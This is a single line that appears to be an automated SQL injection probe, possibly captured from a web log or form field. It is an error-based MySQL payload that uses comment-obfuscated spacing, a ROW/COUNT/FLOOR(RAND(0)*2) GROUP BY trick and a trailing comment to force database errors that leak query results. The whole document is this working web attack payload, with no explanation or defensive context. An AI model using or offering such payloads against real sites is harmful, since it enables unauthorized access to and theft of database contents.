1 1,(SELECT/**/4257/**/FROM/**/(SELECT/**/ROW(4257,5530)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(4257=4257,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/10043/**/UNION/**/SELECT/**/4903/**/UNION/**/SELECT/**/7616/**/UNION/**/SELECT/**/8098)a/**/GROUP/**/BY/**/x))s)– –